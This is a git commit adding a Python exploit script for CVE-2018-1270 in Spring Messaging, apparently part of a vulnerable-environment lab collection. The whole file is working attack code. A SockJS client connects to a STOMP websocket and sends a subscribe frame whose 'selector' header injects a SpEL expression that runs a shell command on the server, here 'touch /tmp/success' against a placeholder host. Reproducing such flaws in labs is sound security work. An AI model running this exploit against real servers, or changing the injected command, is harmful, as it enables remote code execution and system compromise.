first commit

spring/CVE-2018-1270/exploit.py

@@ -0,0 +1,74 @@
+#!/usr/bin/env python3
+import requests
+import random
+import string
+import time
+import threading
+import logging
+import sys
+import json
+
+logging.basicConfig(stream=sys.stdout, level=logging.INFO)
+
+def random_str(length):
+    letters = string.ascii_lowercase + string.digits
+    return ''.join(random.choice(letters) for c in range(length))
+
+
+class SockJS(threading.Thread):
+    def __init__(self, url, *args, **kwargs):
+        super().__init__(*args, **kwargs)
+        self.base = f'{url}/{random.randint(0, 1000)}/{random_str(8)}'
+        self.daemon = True
+        self.session = requests.session()
+        self.session.headers = {
+            'Referer': url,
+            'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)'
+        }
+        self.t = int(time.time()*1000)
+
+    def run(self):
+        url = f'{self.base}/htmlfile?c=_jp.vulhub'
+        response = self.session.get(url, stream=True)
+        for line in response.iter_lines():
+            time.sleep(0.5)
+    
+    def send(self, command, headers, body=''):
+        data = [command.upper(), '\n']
+
+        data.append('\n'.join([f'{k}:{v}' for k, v in headers.items()]))
+        
+        data.append('\n\n')
+        data.append(body)
+        data.append('\x00')
+        data = json.dumps([''.join(data)])
+
+        response = self.session.post(f'{self.base}/xhr_send?t={self.t}', data=data)
+        if response.status_code != 204:
+            logging.info(f"send '{command}' data error.")
+        else:
+            logging.info(f"send '{command}' data success.")
+
+    def __del__(self):
+        self.session.close()
+
+
+sockjs = SockJS('http://your-ip:8080/gs-guide-websocket')
+sockjs.start()
+time.sleep(1)
+
+sockjs.send('connect', {
+    'accept-version': '1.1,1.0',
+    'heart-beat': '10000,10000'
+})
+sockjs.send('subscribe', {
+    'selector': "T(java.lang.Runtime).getRuntime().exec('touch /tmp/success')",
+    'id': 'sub-0',
+    'destination': '/topic/greetings'
+})
+
+data = json.dumps({'name': 'vulhub'})
+sockjs.send('send', {
+    'content-length': len(data),
+    'destination': '/app/hello'
+}, data)